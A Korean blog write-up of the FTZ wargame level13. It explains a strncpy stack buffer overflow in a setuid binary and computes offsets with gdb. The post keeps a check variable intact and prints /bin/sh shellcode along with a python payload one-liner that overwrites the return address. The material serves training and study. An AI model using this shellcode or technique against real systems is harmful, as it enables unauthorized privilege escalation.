글
FTZ level13 write up

hint를 살펴보면 버퍼오버플로우에 취약한 strncpy함수를 사용함을 알 수 있다. 여기서 BOF가 일어남을 알 수 있다.
* - int argc : 메인함수에 전달되는 정보의 개수를 의미 (argument count)
-- char* argv[] : 메인함수에 전달되는 실질적인 정보로, 문자열의 배열을 의미한다. 인덱스가 0인 문자열은 프로그램의 실행경로로 항상 고정되어 있다.
코드를 해석해보자면,
1. i변수에 0x1234567값을 전달한다.
2. 그 후에 buf변수에 1024만큼의 사이즈를 할당해준다
3. level 13의 seturid가 나와있는데
첫번째 if문을 통해, 메인함수로 전달되는 정보가 1개이상이면 buf에 복사하는 것을 알 수 있다.
두번재 if문을 통해 i변수에 지정된 값이 0x1234567이 아니라면 버퍼오버플로우 위험 경고문을 출력하고
프로그램 종료하게 만드는 코드임을 알 수 있다.
그러니까 우리는 i값을 바꾸지 않고 ret값을 바꿔야 한다!!!

gdb로 attackme 를 분석해보자!!
<main +3> 에서 0x418==1048만큼의 공간을 확보했다.
buf 에서 ebp까지의 거리는 1048byte이다 그러니까,
buf에서 ret까지의 거리 1052(1048byte+4byte)는 이렇다.
i에서 ebp까지의 거리는 12 이다. ==> ebp-12니까. 그니까
i에서 ret까지의 거리는 16
즉, buf에서 i까지의 거리는
[buf에서 ret까지의 거리] - [i에서 ret까지의 거리]를 빼야한다. == 1036
그리고 i변수 끝에서 ret까지의 거리는 (i에서 ret까지의 거리)16-4(i의크기) = 12 이다.
쉘코드 : \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
이제 환경변수에 쉘 코드를 등록한 후 주소 값을 얻어온 후
python -c 'print"A"*1036+"\x67\x45\x23\x01"+"A"*12+[주소값]를 하면 된다
'포너블' 카테고리의 다른 글
| FTZ level15 write up (0) | 2020.03.16 |
|---|---|
| FTZ level14 write up (0) | 2020.03.16 |
| FTZ level12 write up (0) | 2020.03.15 |
| JBU CTF - Pwn3 [babybof] (0) | 2020.03.10 |
| JBU CTF - Pwn2 [Segmentation Fault] (0) | 2020.03.10 |